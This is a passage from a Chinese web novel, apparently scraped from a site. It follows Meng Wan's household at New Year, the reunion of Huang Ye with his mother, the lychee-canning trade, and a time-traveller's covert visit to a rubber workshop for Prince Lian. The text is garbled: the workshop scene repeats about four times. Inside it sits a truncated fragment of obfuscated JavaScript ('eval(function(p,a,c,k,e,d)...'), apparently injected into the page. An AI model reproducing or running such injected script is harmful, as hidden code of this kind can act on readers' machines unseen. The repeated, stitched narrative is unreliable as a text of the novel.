“从黄叶开始,一人抓一把。”孟晚把筐放到旁边的边几上,让黄叶先来。 黄叶上前来只抓了两颗银花生,“谢夫郎赏赐,祝您岁岁安康,万事顺遂。” 孟晚直接抓了两把塞给他,“不用替我省钱,这几年你没少劳累,都是你该拿的。” 若不是黄叶不愿离开宋家,孟晚高低也给他安排个管事。如今他家里家外哪里忙去哪里,已经是孟晚身边仅次于唐妗霜的得力助手了。 接下来是朱颜、朱砂、桂诚、桂谦,桂方、桂圆。其中朱砂和桂圆最小,朱砂过了年才八岁,桂圆七岁。 几人规规矩矩的各抓了一把银花生,不管多少,都不敢在孟晚面前抱怨一句。 孟晚把筐里剩下的银花生连筐都给雪生,宋亭舟也添了个荷包进去,里面是小把金豆子,“给阿砚和楚辞发压岁钱留了把,你收着吧。” 雪生嘴角抽搐,“谢谢大人,不过我就不用了吧?”他都三十多岁了,还收压岁钱? 常金花从一旁路过,“我们老家的时候,没成亲的都要收压岁钱,晚哥儿和大郎没成亲的时候我也给包了。” 雪生木着脸收下,转身出了门就把金豆子分给黄叶一半,“收着吧,哥给你的压岁钱,夫郎说明早叫我套家里的车送你去沙坑县。” 槿姑的服役期限已经满了,黄叶与她即将团聚,心中又是酸 楚又是激动。 他知道夫郎和雪生哥的好意满怀感激初一夜里几乎一晚没睡。初二早上天还没亮就爬了起来把自己存下来的钱财都藏好带些几两碎银和铜板坐上雪生架着的马车出发去沙坑县接槿姑。 初二开始家里就开始陆陆续续的来人送礼 孟晚估了大概价值照常给对方都回了礼。商户中有余家这个老大哥在前没人敢站出来出头大家相对平和的过了一个年。 正月十一槿姑被黄叶接回了宋家不顾自身风尘仆仆母子俩跪下实实在在的给孟晚和宋亭舟磕了个头。 “当日大人救我一命夫郎又收留叶哥儿这么多年两位的恩情我们母子没齿难忘。”在矿山劳作几年槿姑已经初现老态比寻常妇人更苍老几分实际上她也不过才三十出头而已。 孟晚眼里闪过一丝不忍“黄叶快起来把你娘也扶起来。” “是夫郎。” 黄叶揉揉眼睛扶起瘦弱的槿姑“夫郎我娘说想留在宋家做个仆人她什么粗活都会做也不要什么月钱只求夫郎留她一口饭吃就好。” 孟晚无奈的说:“我说放你的奴籍你不肯和你娘一起在外买座小院不好吗?你如今年纪小尚不知道奴籍意味着什么。” 黄叶抿着唇“夫郎我什么都懂但我情愿一辈子留在你身边现在还有我娘也在我再没有什么不满足的了。” 孟晚看着他们母子坚定的脸有点明白黄叶的脾气是随了谁他折中想了个办法“这样吧槿姑也不必**宋家为奴全当是我雇佣你来做活。家里现在不缺人等年后你去我婆母的店铺帮忙晚上再回来休息。” “黄叶我叫人把你的屋子和旁边的屋子打通让雪生帮你搬张床和你娘一起住可好?”孟晚询问黄叶母子的意见。 黄叶现在住的是孟晚和宋亭舟院子的门房旁边有个小的杂物间打通了之后也够他们母子俩住了。 这已经是槿姑想象不到的好日子了她忙道:“不用那么麻烦的夫郎我和叶哥儿住一张床就好。” 比起她来黄叶就更了解孟晚一些没有再说其他拒绝的话。 孟晚当机立断的把雪生找来也不必找外人 他和桂诚桂谦三个几下就给屋子打通。顺便把杂物都归整到仓库去 都是半大的小子刚领了赏钱和新衣裳干活一身的牛劲儿。 把槿姑安顿好了之后孟晚去找常金花说了想让槿姑去常金花店里上工的事。 常金花自然满口答应她感慨的说:“他们母子俩也算历经磨难如今终于能团聚了叶哥儿是个好孩子槿姑也还年轻今后的福气还在后面。” 孟晚附和她的说法“娘说的是人有奔头就有希望。” —— 西梧府今年给户部平了账户部尚书蔻汶的脸差点笑歪家中夫人问起难免夸上宋亭舟几句。 “年底城里刮起一阵什么岭南果珍罐的风头好似就是岭南产的你猜那名贵的琉璃罐子里装的是什么?” 蔻汶脑子里想的是还有哪个州府欠户部银子随口应付自家夫人一句“什么?” 寇夫人一语惊人“是荔枝!” “什么?荔枝?荔枝能运到京城里来?那可是足足四千多里路别开玩笑了。”蔻汶根本不信。 “怎么不能人家西梧府的商人将荔枝去壳、剥净、留肉把果肉和糖水一同置于琉璃瓶内可存六月而不腐呢!”寇夫人急的恨不 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寇夫人翻了个白眼,“不是一颗果子,是一瓶,那可是荔枝,怎么能和寻常果子一样?皇极楼的一顿饭钱还要百八十两的银子呢,荔枝价值千金,那么一大罐子才四百两,已经顶顶便宜的了!” 蔻汶险些被自家夫人气吐血,“皇极楼那是淮南王开得食肆,先皇亲题匾额,御笔赐名,常人想花银子吃都吃不到!” 寇夫人见他脸红脖子粗,也懒得再和他争辩,一甩袖子走了出去。蔻汶还能听到她不死心的嘀咕声,“听说今年的果珍罐就这么一批,晚了就不知道能不能买的到了,明天我说什么也要去买上一瓶。” 盛京城,廉王府—— “这汤水到底有何神奇之处?竟能让荔枝在其内保持六月而不腐?”廉王坐在椅子上,手里拿着一瓶最近在盛京大出风头的果珍罐仔细端详。 一位十七岁左右的少年站立在一旁,神情十分复杂,“以臣看来,罐……”他话语猛地顿住,思索了一番才道:“罐身的材质,可能有关系。” 廉王先是因为他突然插话而产生一丝不悦,随后那丝不悦又瞬间消散,姿态暧昧的揉捏了两下那少年的腰窝,“只是最寻常的琉璃瓶,我早就派人去灌玉坊,让里面的工人做了几个拿回来,并不能储存果子。” 少年身姿也算得上长身玉立,靠近耳侧的红痣代表着他哥儿的身份,他穿着一身素净的锦袍,不动声色地往后退了一步,避开廉王的咸猪手。 “姐夫,既然太子要留在钦州平乱,不然我们也去看看?” 廉王哼笑了一声,“钦州地势复杂,地处边境一带,不光外族人时不时骚扰,当地**也不安宁,没个两三年根本平息不了当地局面,让太子去挣这份功劳又如何?” 意思是他不想去趟这趟挨累不讨好的浑水。 少年背在身后的手攥了又松,这个蠢货,他要是能斗过太子就算苍天无眼,废物点心!妈的****! 脏话在心里骂了一箩筐,才能把要**面前这个蠢货的决心强压下去,心绪平和的继续劝下去。 “钦州确实太乱,殿下千金之躯确实不适合去钦州冒险,但罗家的事既然有了纰漏,人又是死在西梧府,难保会查到殿下身上。” “罗家的事我已经知道了,也见识过赫山知县……哦,现在已经是西梧府知府了。宋亭舟确实是个能人,可惜与太子走的过近,不能为我所用。他若是一直在外地为官就罢了,若是侥幸回京,就是他的死期!”廉王不想离开盛京也是有他的考量,如今太子不在,正是他发展朝堂势力的好时机,如此一来,罗家的事就变得微不足道了。 少年见劝不动他心里也没着急,干脆把大招亮出来,“殿下应该知道如今盛京大火的果珍罐是西梧府传过来的吧?咱们的香皂现在已经不赚钱了,若是我们能将果珍罐的配方捏在手里……” 廉王本来平淡的神情突然振奋起来,四百两银子一瓶的果珍罐! 第55章 又来 年后珍罐坊逐渐清闲了下来,去年年底荔枝罐头卖的火热,橘子罐头反而无人问津。都被商户们运送到岭南周边的城市贩卖的七七八八,特别是钦州,罐头制品和藕粉极为火热。 荔枝罐头被清空后,珍罐坊还陆陆续续收了几批晚成熟的橘子品种,祝三爷拉着橘子罐头往北、西两地走。余彦东也跟着去见世面,连过年都没回来。 “小余这回倒是放心了,和妗霜订下婚事后哪儿都敢去,之前把人看的跟眼珠子一样。”孟晚觉得小余挺好,有年轻人的敢爱敢恨和跳脱。 他在来接宋亭舟下衙的路上,蚩羽做为宋亭舟的贴身护卫也跟在两人身边,宋家给蚩羽准备了单独的房间。 “我们鹋族的女人和哥儿成了亲就只能待在家里,唐管事要是嫁了人,还能在珍罐坊做管事吗?” 孟晚理所当然的说:“当然可以,他就算嫁了人,生了孩子,该来上工还是要来上工的。妗霜识字、会算数、懂礼数也知道怎么和商人谈买卖,是我的得力干将。” 蚩羽歪头重复孟晚的话,“得力……干将?” 他站在孟晚身边个头比孟晚还高,身材健硕有力,身手又好,若是忽略他是个哥儿,和脸白条顺的孟晚站在一起竟然还挺般配。 蚩羽当下享受的是顶好的待遇,宋亭舟给他开出一月十两银子的高薪,现在是鹋族最富有的人。 可能是之前在山里憋得久了,他现在最喜欢和宋亭舟去东奔西跑的巡视或者办案,心里没有半点嫁人的想法。 “他才学会了几个字,还听不懂成语。”宋亭舟无意让自家夫郎当别人老师,拉着孟晚快步走到前面,打断两人之间的对话。 孟晚没他步子迈得大,还要小跑着跟上去,心中无语至极,他还说小余小心眼,忘了自家这位才是个中翘楚。 “人家蚩羽是个哥儿。” 宋亭舟不吭声,他脚步慢下来等着孟晚,待看到后面的蚩羽没眼色的跟上来时,指使对方道:“蚩羽,你去驿站看看有没有我们的信。” 蚩羽不明白大人忽快忽慢是在玩什么把戏,老实巴交的“哦”了一声,跑去驿站了。 孟晚见蚩羽走了,使劲掐了宋亭舟手背一下,结果反被对方紧紧握住手往家里带,“回家了,不等他。” 孟晚无奈的轻笑一声,“好,不等他。” 叫蚩羽去取信本来是宋亭舟随意找的借口,没成想蚩羽还真取来一封。 “锦容的。”孟晚看了一眼信封。 拆开信件后孟晚桃花状的眼尾越瞪越圆,他再次把信封拿出来仔细看了看上面的日期,语气急促道:“快快,雪生脚程快,赶紧叫他先去驿站看看。” 他迈起步子就往外走,其他人莫名其妙。 宋亭舟拿起孟晚放下的信件,边看边跟着孟晚出门。 常金花在后面喊他们,“怎么刚回家又要走啊?先吃饭再出门不行吗?” 孟晚焦急的声音在宋家大门处回荡,“来不及了!” 孟晚和宋亭舟直接骑着马过去,赶到驿站的时候雪生刚好从驿站伙计的手里接过一个三岁大的孩子。 那孩子不哭不闹,缩在雪生怀里嗦手指。 孟晚体力不好,连呼带喘的跑过去,哆哆嗦嗦的揪着驿站的伙计问:“从哪儿来的?” 伙计要笑不笑得说:“从柳州府来的,说是东家的朋友,给了重金。两口子把孩子扔下就走了,我们的人也没办法,只能按照他们说的给送回咱们西梧府来。” 另一个伙计正在卸货,也颇为无奈的说道:“我们刚准备派人去通知您呢,您就过来了,对了夫郎,后面还有个老头呢!” 说实话他们心里也松了口气,送了大半年的货,头次遇见这种情况。也幸好这小孩不哭不闹的,路上还算好哄,不然给他们多少钱他们也不干。 孟晚气得想骂娘,他从雪生手里接过安安静静的小男孩,“通儿,还记得小叔吗?你阿爹是怎么和你说的?” 通儿一脸认真的盯着孟晚的脸看了一会儿,慢吞吞的开口道:“阿爹,救人……通儿,阿公,不去。” “对对,那个老头呢?”孟晚问伙计。 伙计从后面院里拉来一个驴车,上面躺了个昏睡的老头,须发花白,面颊驼红,衣服袖口蹭的油黑,浑身上下邋里邋遢的不说,还散发出一股浓烈的酒味。 孟晚扶额,把通儿交给宋亭舟抱着,上前在葛老头耳边大喊:“葛师傅!醒醒了,通儿被人偷走了!” 葛老头猛地坐了起来,“通儿!通儿呢?” “葛师傅,你就是这么看孩子的?通儿被人抱走你都不知道。” 葛老头酒醒了一半,“是晚 哥儿啊,我听容哥儿说你和你表哥成亲了,也生了个男娃,我还给他带了……”他在自己身上一通乱摸,摸到个带着陈年老渍的木牌出来,“拿着晚哥儿,给你家男娃的。” 宋亭舟抢先一步从袖筒里扯出一块帕子包着木牌,自己拿在手里,“雪生,看葛叔这样应该也是起不来了,你架着驴车把他带回去吧。” 去时一人骑了一匹马,回来多了一架驴车和一老一少组合。 孟晚让雪生直接把葛老头背到前院客房里接着睡,抱着身上都开始酸臭的通儿去了常金花院子。 常金花还在等着他们没开饭,远远看见孟晚包了个孩子回来,忙上前询问:“这是打哪儿抱来的孩子啊?”她仔细端详,越看越眼熟,惊叫道:“通儿?是不是通儿回来了?” 通儿在宋家的时候都是常金花在带,因此常金花一个照面就给认了出来。 宋亭舟把方锦容的信拿出来对常金花解释,“他们夫夫有事要回钦州一趟,可能事态紧急,来不及绕路到西梧,就把通儿和葛师傅托驿站的人给带回西梧府了。” 常金花一个字也没听进去,抱着通儿往她房间走,“可怜的通儿,来,祖母带你去洗个澡换身衣裳,这一路是怎么照顾你的?小脸蛋上怎么还有泥呢?” 洗完澡的通儿焕然一新,他可能是饿的狠了,坐上饭桌就开始扒饭。 常金花心疼的给他夹了几块炖的软烂的红烧肉,“慢点吃,吃完这碗祖母还给你添饭。” 通儿对大家都还有些陌生,倒是很亲近常金花。 阿砚有些吃味,“祖母,我也要。” 孟晚给他夹了一筷子冬笋,“按虚岁来算,年后你都五岁了,想吃什么自己还不会夹,要旁人帮忙?” 阿砚轻哼一声,唇形漂亮的嘴巴撅起来老高,眼睛斜斜的看着埋头干饭的通儿,模样愈发像孟晚。 宋亭舟到嘴边的斥责变成了一句轻语,“快吃。” “哦。”阿砚蔫吧吧地把青菜吃了。 通儿在家里待了几天,逐渐与大家熟悉起来,但性格还是较为安静,不像阿砚一样活泼。 阿砚刚开始还很嫌弃通儿,相处几天后就开始稀罕起来。 他有弟弟啦! 葛家祖孙俩在宋家安顿下来,孟晚给方锦容写了回信,他们驿站的买卖没有往钦州开,也 不知道方锦容和葛全收没收到信。 通儿在宋家住了两个月,之后在阿砚强烈安利下,也背着和阿砚同款小书包踏入学堂。 他这会儿还不知道进学是要做什么,只是看阿砚哥哥做什么,他就做什么。 五月份一个十分寻常的雨天,孟晚早起看着天色不好,思及最近好像也没有什么重要的事需要他亲自跑一趟,干脆赖床多睡了一会儿。 “夫郎,大人叫我回来叫你,说是有贵客临门。”蚩羽的大嗓门自院子里响起。 孟晚一个激灵从床上坐起来,“贵客?” 能让宋亭舟特意叫人回来提醒他的想必不是什么常人,孟晚起床迅速洗漱换衣,推开房门拿着廊下的油纸伞往外走去。 蚩羽在廊下等了孟晚一会儿,见他出来不等询问便说道:“不知道是什么人,排头很大,是直接去衙门找的大人。” 孟晚脚步顿住,“直接去的衙门?是男是女,有没有表明身份?” “是个哥儿,说是什么廉王派来的。”蚩羽也撑了把伞跟在他身后大步流星的往前走。 结果孟晚听他这么说突然顿住脚步,“哥儿?廉王?” 蚩羽不明白夫郎为什么停下来又问他一次,复又肯定的答道:“是啊。” 孟晚撑着伞站在原地,雨点急促的拍打在伞面上,传来嘈杂的声音。他仰头从伞檐下看着天上厚重的乌云,眉间紧锁不松。直到蚩羽脚都快站麻了才一扭头又回了房间。 蚩羽茫然的看着他的背影,“夫郎?我们不去府衙见贵客了吗?” 孟晚头也不回的说:“等我片刻,马上就来。” —— 罗霁宁被马车颠得七荤八素后终于到达西梧府,他忍着路上种种不便,没先进城,反而在离府城最近的一个小镇子上安顿下来。 廉王咬**在京城不挪窝,非要趁太子不在威逼利用几个朝臣策反。罗霁宁无法,只能连骗带哄的准他派人将自己送到西梧府。 在客栈里休整一晚后,他深深的吐了一口气,鼻子里都是泛着腥味的泥土味,搞得他又想吐。 这不是人的日子罗稷宁是一天也过不下去了,但谁让他命苦呢? 把那两个愚蠢的幕僚留在客栈,带上更愚蠢的侍卫出门,一行人直奔打听好的琉璃坊和橡胶坊。 侍卫头领问:“宁公子,我们不应该先去珍罐坊吗?” 珍罐坊那一套罐头加工有个屁的看头!罗霁宁心中暗骂一句,面上做不满道:“殿下让你们听本公子吩咐,莫要多言。” 他长身玉立,浑身上下自带一股矜贵疏离的气度,哪怕这群侍卫并不服罗霁宁,也不敢在他面前放肆。 罗霁宁先去琉璃坊外转了一圈,并没有想办法进去。他是知道皇室的灌玉坊的,也探查到了西梧府的琉璃坊是太子亲自扶持,连工匠都是灌玉坊里出来的,来历有理有据,并无可疑之处。 他视线往旁边另外一座最小的工坊望去——可这座橡胶坊可就太稀奇了。 按照地理位置来说,西梧府确实有可能种植橡胶树,但取胶制密封条,这是不是太过先进了? 明面上看来,西梧府的知府宋亭舟是最可疑的人。但从自己借廉王府势力所查探到的信息来看,宋亭舟的夫郎名下有大量产业,面前这三座工坊就是出自他手,似乎他更值得怀疑。 而且前年他在盛京试探过宋亭舟,对方就是个普普通通,年轻有为的好官,一心为国为民,正的比廉王这个皇子还像当地土著。 罗霁宁心中烦躁,穿到这个未知的朝代,连历史书都不能借鉴。他学过的历史中不乏有比穿越者还猛的历史人物,让他一时间拿不定主意。 总之就算是有问题,也定是橡胶坊的问题最大。 定了定心,罗霁宁装作是想在珍罐坊订货的商人,借口要参观一下橡胶坊,成功和侍卫们混了进去。 不知道有多少商人眼红孟晚珍罐坊的巨大收益,聪明人不是没有,既然琉璃坊他们拿不到手,也不敢学来商用。那橡胶坊里的造作法子,他们总可以想办法弄到手里学学吧? 因此从去年年底开始,便有许多外来商人,明里暗里的打听橡胶坊。刚开始橡胶坊的梁管事,以为罗霁宁他们一群人也是抱着这样的想法。 “那个邋里邋遢的大叔就是最早发明出来橡胶的人?”罗霁宁有些难以置信的指着风重。 橡胶坊的小工一脸骄傲,“不光如此,连赫山县最早出来的灰粉,都是风大师精研而成!” 罗霁宁眸光一闪,“灰粉也是他造的?那确实有几分本事,我能不能同这位风大师说几句话?” 这个小工还真做不了主,也不敢直接跑去打扰风重发明,于是便将梁管事请了过来。 梁管事意味深长的看着罗霁宁,“公子想要同风大师说话?还望公子恕罪,风大师脾气不大好,有什么事可以由在下代为转告。” 罗霁宁知道梁管事的意思,这是怕他这位“外商”把橡胶坊的镇山之宝给挖走。 “管事的放心,我家是在荆州府做茶叶生意的,和贵工坊并无利益冲突。只是见识过果珍罐的密封之术如此神奇,没准也可以用在茶叶上头,这才好奇过来看看。” 侍卫头领问:“宁公子,我们不应该先去珍罐坊吗?” 珍罐坊那一套罐头加工有个屁的看头!罗霁宁心中暗骂一句,面上做不满道:“殿下让你们听本公子吩咐,莫要多言。” 他长身玉立,浑身上下自带一股矜贵疏离的气度,哪怕这群侍卫并不服罗霁宁,也不敢在他面前放肆。 罗霁宁先去琉璃坊外转了一圈,并没有想办法进去。他是知道皇室的灌玉坊的,也探查到了西梧府的琉璃坊是太子亲自扶持,连工匠都是灌玉坊里出来的,来历有理有据,并无可疑之处。 他视线往旁边另外一座最小的工坊望去——可这座橡胶坊可就太稀奇了。 按照地理位置来说,西梧府确实有可能种植橡胶树,但取胶制密封条,这是不是太过先进了? 明面上看来,西梧府的知府宋亭舟是最可疑的人。但从自己借廉王府势力所查探到的信息来看,宋亭舟的夫郎名下有大量产业,面前这三座工坊就是出自他手,似乎他更值得怀疑。 而且前年他在盛京试探过宋亭舟,对方就是个普普通通,年轻有为的好官,一心为国为民,正的比廉王这个皇子还像当地土著。 罗霁宁心中烦躁,穿到这个未知的朝代,连历史书都不能借鉴。他学过的历史中不乏有比穿越者还猛的历史人物,让他一时间拿不定主意。 总之就算是有问题,也定是橡胶坊的问题最大。 定了定心,罗霁宁装作是想在珍罐坊订货的商人,借口要参观一下橡胶坊,成功和侍卫们混了进去。 不知道有多少商人眼红孟晚珍罐坊的巨大收益,聪明人不是没有,既然琉璃坊他们拿不到手,也不敢学来商用。那橡胶坊里的造作法子,他们总可以想办法弄到手里学学吧? 因此从去年年底开始,便有许多外来商人,明里暗里的打听橡胶坊。刚开始橡胶坊的梁管事,以为罗霁宁他们一群人也是抱着这样的想法。 “那个邋里邋遢的大叔就是最早发明出来橡胶的人?”罗霁宁有些难以置信的指着风重。 橡胶坊的小工一脸骄傲,“不光如此,连赫山县最早出来的灰粉,都是风大师精研而成!” 罗霁宁眸光一闪,“灰粉也是他造的?那确实有几分本事,我能不能同这位风大师说几句话?” 这个小工还真做不了主,也不敢直接跑去打扰风重发明,于是便将梁管事请了过来。 梁管事意味深长的看着罗霁宁,“公子想要同风大师说话?还望公子恕罪,风大师脾气不大好,有什么事可以由在下代为转告。” 罗霁宁知道梁管事的意思,这是怕他这位“外商”把橡胶坊的镇山之宝给挖走。 “管事的放心,我家是在荆州府做茶叶生意的,和贵工坊并无利益冲突。只是见识过果珍罐的密封之术如此神奇,没准也可以用在茶叶上头,这才好奇过来看看。” 侍卫头领问:“宁公子,我们不应该先去珍罐坊吗?” 珍罐坊那一套罐头加工有个屁的看头!罗霁宁心中暗骂一句,面上做不满道:“殿下让你们听本公子吩咐,莫要多言。” 他长身玉立,浑身上下自带一股矜贵疏离的气度,哪怕这群侍卫并不服罗霁宁,也不敢在他面前放肆。 罗霁宁先去琉璃坊外转了一圈,并没有想办法进去。他是知道皇室的灌玉坊的,也探查到了西梧府的琉璃坊是太子亲自扶持,连工匠都是灌玉坊里出来的,来历有理有据,并无可疑之处。 他视线往旁边另外一座最小的工坊望去——可这座橡胶坊可就太稀奇了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个小工还真做不了主,也不敢直接跑去打扰风重发明,于是便将梁管事请了过来。 梁管事意味深长的看着罗霁宁,“公子想要同风大师说话?还望公子恕罪,风大师脾气不大好,有什么事可以由在下代为转告。” 罗霁宁知道梁管事的意思,这是怕他这位“外商”把橡胶坊的镇山之宝给挖走。 “管事的放心,我家是在荆州府做茶叶生意的,和贵工坊并无利益冲突。只是见识过果珍罐的密封之术如此神奇,没准也可以用在茶叶上头,这才好奇过来看看。” 侍卫头领问:“宁公子,我们不应该先去珍罐坊吗?” 珍罐坊那一套罐头加工有个屁的看头!罗霁宁心中暗骂一句,面上做不满道:“殿下让你们听本公子吩咐,莫要多言。” 他长身玉立,浑身上下自带一股矜贵疏离的气度,哪怕这群侍卫并不服罗霁宁,也不敢在他面前放肆。 罗霁宁先去琉璃坊外转了一圈,并没有想办法进去。他是知道皇室的灌玉坊的,也探查到了西梧府的琉璃坊是太子亲自扶持,连工匠都是灌玉坊里出来的,来历有理有据,并无可疑之处。 他视线往旁边另外一座最小的工坊望去——可这座橡胶坊可就太稀奇了。 按照地理位置来说,西梧府确实有可能种植橡胶树,但取胶制密封条,这是不是太过先进了? 明面上看来,西梧府的知府宋亭舟是最可疑的人。但从自己借廉王府势力所查探到的信息来看,宋亭舟的夫郎名下有大量产业,面前这三座工坊就是出自他手,似乎他更值得怀疑。 而且前年他在盛京试探过宋亭舟,对方就是个普普通通,年轻有为的好官,一心为国为民,正的比廉王这个皇子还像当地土著。 罗霁宁心中烦躁,穿到这个未知的朝代,连历史书都不能借鉴。他学过的历史中不乏有比穿越者还猛的历史人物,让他一时间拿不定主意。 总之就算是有问题,也定是橡胶坊的问题最大。 定了定心,罗霁宁装作是想在珍罐坊订货的商人,借口要参观一下橡胶坊,成功和侍卫们混了进去。 不知道有多少商人眼红孟晚珍罐坊的巨大收益,聪明人不是没有,既然琉璃坊他们拿不到手,也不敢学来商用。那橡胶坊里的造作法子,他们总可以想办法弄到手里学学吧? 因此从去年年底开始,便有许多外来商人,明里暗里的打听橡胶坊。刚开始橡胶坊的梁管事,以为罗霁宁他们一群人也是抱着这样的想法。 “那个邋里邋遢的大叔就是最早发明出来橡胶的人?”罗霁宁有些难以置信的指着风重。 橡胶坊的小工一脸骄傲,“不光如此,连赫山县最早出来的灰粉,都是风大师精研而成!” 罗霁宁眸光一闪,“灰粉也是他造的?那确实有几分本事,我能不能同这位风大师说几句话?” 这个小工还真做不了主,也不敢直接跑去打扰风重发明,于是便将梁管事请了过来。 梁管事意味深长的看着罗霁宁,“公子想要同风大师说话?还望公子恕罪,风大师脾气不大好,有什么事可以由在下代为转告。” 罗霁宁知道梁管事的意思,这是怕他这位“外商”把橡胶坊的镇山之宝给挖走。 “管事的放心,我家是在荆州府做茶叶生意的,和贵工坊并无利益冲突。只是见识过果珍罐的密封之术如此神奇,没准也可以用在茶叶上头,这才好奇过来看看。” 侍卫头领问:“宁公子,我们不应该先去珍罐坊吗?” 珍罐坊那一套罐头加工有个屁的看头!罗霁宁心中暗骂一句,面上做不满道:“殿下让你们听本公子吩咐,莫要多言。” 他长身玉立,浑身上下自带一股矜贵疏离的气度,哪怕这群侍卫并不服罗霁宁,也不敢在他面前放肆。 罗霁宁先去琉璃坊外转了一圈,并没有想办法进去。他是知道皇室的灌玉坊的,也探查到了西梧府的琉璃坊是太子亲自扶持,连工匠都是灌玉坊里出来的,来历有理有据,并无可疑之处。 他视线往旁边另外一座最小的工坊望去——可这座橡胶坊可就太稀奇了。 按照地理位置来说,西梧府确实有可能种植橡胶树,但取胶制密封条,这是不是太过先进了? 明面上看来,西梧府的知府宋亭舟是最可疑的人。但从自己借廉王府势力所查探到的信息来看,宋亭舟的夫郎名下有大量产业,面前这三座工坊就是出自他手,似乎他更值得怀疑。 而且前年他在盛京试探过宋亭舟,对方就是个普普通通,年轻有为的好官,一心为国为民,正的比廉王这个皇子还像当地土著。 罗霁宁心中烦躁,穿到这个未知的朝代,连历史书都不能借鉴。他学过的历史中不乏有比穿越者还猛的历史人物,让他一时间拿不定主意。 总之就算是有问题,也定是橡胶坊的问题最大。 定了定心,罗霁宁装作是想在珍罐坊订货的商人,借口要参观一下橡胶坊,成功和侍卫们混了进去。 不知道有多少商人眼红孟晚珍罐坊的巨大收益,聪明人不是没有,既然琉璃坊他们拿不到手,也不敢学来商用。那橡胶坊里的造作法子,他们总可以想办法弄到手里学学吧? 因此从去年年底开始,便有许多外来商人,明里暗里的打听橡胶坊。刚开始橡胶坊的梁管事,以为罗霁宁他们一群人也是抱着这样的想法。 “那个邋里邋遢的大叔就是最早发明出来橡胶的人?”罗霁宁有些难以置信的指着风重。 橡胶坊的小工一脸骄傲,“不光如此,连赫山县最早出来的灰粉,都是风大师精研而成!” 罗霁宁眸光一闪,“灰粉也是他造的?那确实有几分本事,我能不能同这位风大师说几句话?” 这个小工还真做不了主,也不敢直接跑去打扰风重发明,于是便将梁管事请了过来。 梁管事意味深长的看着罗霁宁,“公子想要同风大师说话?还望公子恕罪,风大师脾气不大好,有什么事可以由在下代为转告。” 罗霁宁知道梁管事的意思,这是怕他这位“外商”把橡胶坊的镇山之宝给挖走。 “管事的放心,我家是在荆州府做茶叶生意的,和贵工坊并无利益冲突。只是见识过果珍罐的密封之术如此神奇,没准也可以用在茶叶上头,这才好奇过来看看。” 第56章 嘤嘤(不喜欢哥儿设定的勿看) “你就是风师傅?” “这橡胶真是神奇,风师傅果然不似常人,竟能想到取树上的胶水做密封之物。” “风师傅独具匠心,在下斗胆问您当时是如何机智发现其中诀窍的?” 罗霁宁软磨硬泡终于和风重说上了话,刚开始风重还无视他,但耐不住罗霁宁顶着这么一张风光霁月的脸一顿猛夸。风重很快就板不住脸,开始回应他,“当时……” “咳咳……”梁管事在一旁轻咳两声。 风重脾气上来连宋亭舟和孟晚在也不好使,怎么会受一个小小的管事掣肘?梁管事越阻挠他反而越来劲儿,“我本来是想不到橡胶树可以密封的,但偶遇一个村民上山砍树,那树竟然流出乳白色的汁水来。我问他取这种白色汁水有何用?那村民说他们村子的人都用这种汁水糊窗,可使窗框更加稳健,冬日寒风不会吹动窗户。” 风重说着神色间充满自得,“我当时一听便觉得此物不俗,收集回来发现此物凝固成型后竟然比牛筋还结实,而且液体状态下还可以做成各种形状……” 风重天天在工坊搞研究,几个师父师伯不是骂他笨就是骂他不孝顺。工坊的小工上工后对他又毕恭毕敬,除非必要半句话都不敢多说。已经很久没有人像罗霁宁这样事无巨细的听他吹牛了! 罗霁宁听了半晌风重的发明史,包括什么灰粉都听完了前因后果。 他心里有种说不出来的怪异感,不管是橡胶还是石灰,风重都说的有理有据,前因后果极其完整。那种连自己加了几碗的皂荚豆水用那种温度烘干这种小细节都记录完整,若说他不是发明人都没人相信。 但罗霁宁就是觉得古怪,他暗地里死死打量风重,怎么看怎么像是科研怪人,没有半点现代人的痕迹。 歪打正着? 就这么凑巧? 难道是他想多了? 不应该啊? 梁主管就在一旁盯着,再问就不是风重奇怪,而是他要暴露了。罗霁宁眼见风重开始重复吹嘘自己的战绩,问不到其他事情,便在对方意犹未尽的眼神中客气的告退。 但临走前他状似不经意间的说了句,“风师傅说橡胶能随意改变形态,那是否能装在木轮上呢?” 罗霁宁眼睛一瞬不瞬的盯着风重满是胡茬的脸,没有错过他脸上的深思和错愕。 罗霁宁垂下眼帘——这个风重确实不是和他来自同一个地方的人。 梁主管一直将他送到橡胶坊门外,在罗霁宁背过身走远后,给门口的两个负责巡逻的小工使了个眼色,后才转身回工坊里。 罗霁宁自认为来橡胶坊后,说话办事无一丝纰漏,但**的是,整个西梧府包括周边地带,都称得上是孟晚的地盘。 哪怕罗霁宁行事再谨慎,但从他踏入珍罐坊范围内起,坊里和驿站的人就已经相互配合,把他的一举一动都看在眼里,并禀告给了孟晚。 孟晚回房间将前几天驿站拿过来的资料又飞速看了一遍,大致猜测了一番来者身份,心中五味杂陈。 他没留给自己太多多愁善感的时间,动作迅速的换了身藕粉色的罗布长衫,白袜白靴。自己又拆了头发,在脑后挽了个中高段的发髻,插上两根嵌着珍珠玉石的钗子,这才款款推门出去。 蚩羽看到他都惊呆了,“夫郎,您这是?” 孟晚托起下巴观看蚩羽表情,他肤色似雪,粉嫩的衣裳把他衬得年岁比实际小了不少。 “啧,你这样可不行。” 西梧府府衙内—— 宋亭舟把人请到待客用的花厅,自顾自的坐下喝茶。罗霁宁说是代表廉王,但毕竟只是哥儿,这种场合是镇不住宋亭舟这样四品官员的,于是他还叫上了廉王府的幕僚。 幕僚还分了两派,有的久居京城惯了,见惯了京官因为廉王的关系对他们点头哈腰。有的是真做过官,对于宋亭舟的政绩早有所闻,暗暗钦佩。 于是孟晚来的时候就看见有人在对着宋亭舟横眉竖眼,不满他接待不周,有的人跃跃欲试,想同宋亭舟交谈又不好意思。 “夫君?” 孟晚揉着块白色苏绣的罗帕,犹犹豫豫的小声喊。 所有人都将视线移到门外,看着廊下收伞的美人都是一愣,但下一刻又都不约而同的收回视线。 无他,盛京城不缺美人,而且风情各样,有知书达理的气质型,勾栏瓦舍里的妖娆型,还有教坊司里琴棋书画样样精通的知心美人。 眼前这位虽然漂亮,可行走坐立皆是一股小家子气,如此只剩一副鲜艳的皮囊,便没有什么可取之处了。 “宋大人,听闻城郊的珍罐坊是宋家的产业?”廉王最看重的一位幕僚问。 他是扬州书院的大儒,身后有千百个学生,有的甚至已经在朝堂上有所作为。他说话的时候连宋亭舟都要礼让三分。 “确实如此。”宋亭舟十分痛快的承认了。 